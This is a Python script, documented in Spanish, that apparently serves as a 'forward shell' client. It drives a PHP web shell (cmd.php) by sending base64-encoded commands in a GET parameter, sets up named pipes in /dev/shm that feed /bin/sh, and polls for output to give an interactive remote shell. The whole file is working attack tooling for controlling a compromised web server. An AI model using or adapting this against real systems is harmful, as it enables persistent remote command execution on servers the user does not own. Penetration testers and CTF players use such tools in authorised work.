#!/usr/bin/python3
"""
Este script es un ejemplo de como se puede interactuar con un shell a traves de HTTP.
"""

import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange


class AllTheReads(object):
    """
    Esta clase se encarga de leer el archivo de salida del shell y mostrarlo por pantalla.
    """


    def __init__(self, interval=1):
        """
        Inicializa la clase y crea un hilo para leer el archivo de salida del shell.
        """

        self.interval = interval
        thread = threading.Thread(target=self.run, args=())
        thread.daemon = True
        thread.start()


    def run(self):
        """
        Lee el archivo de salida del shell y lo muestra por pantalla.
        """

        readoutput = """/bin/cat %s""" % (stdout)
        clearoutput = """echo '' > %s""" % (stdout)
        while True:
            output = RunCmd(readoutput)
            if output:
                RunCmd(clearoutput)
                print(output)

            time.sleep(self.interval)


def RunCmd(cmd):
    """
    Ejecuta un comando en el servidor y devuelve el resultado.
    """

    cmd = cmd.encode('utf-8')
    cmd = b64encode(cmd).decode('utf-8')
    payload = {
        	'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
		}
    result = (requests.get('http://127.0.0.1/cmd.php', params=payload, timeout=5).text).strip()
    return result


def WriteCmd(cmd):
    """
    Escribe un comando en el archivo de entrada del shell.
    """

    cmd = cmd.encode('utf-8')
    cmd = b64encode(cmd).decode('utf-8')
    payload = {
		'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
	}
    result = (requests.get('http://127.0.0.1/cmd.php', params=payload, timeout=5).text).strip()
    return result


def ReadCmd():
    """
    Lee el archivo de salida del shell y devuelve el resultado.
    """

    GetOutput = """/bin/cat %s""" % (stdout)
    output = RunCmd(GetOutput)
    return output


def SetupShell():
    """
    Crea los archivos de entrada y salida del shell.
    """

    NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
    try:
        RunCmd(NamedPipes)
    except:
        None
    return None


global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)

SetupShell()

ReadingTheThings = AllTheReads()


def sig_handler(sig, frame):
    """
    Manejador de señales.
    """

    print("\n\n[*] Exiting...\n")
    print("[*] Removing files...\n")
    RunCmd(erasestdin)
    RunCmd(erasestdout)
    print("[*] All files have been deleted\n")
    sys.exit(0)

signal.signal(signal.SIGINT, sig_handler)


while True:
	cmd = input("> ")
	WriteCmd(cmd + "\n")
	time.sleep(1.1)
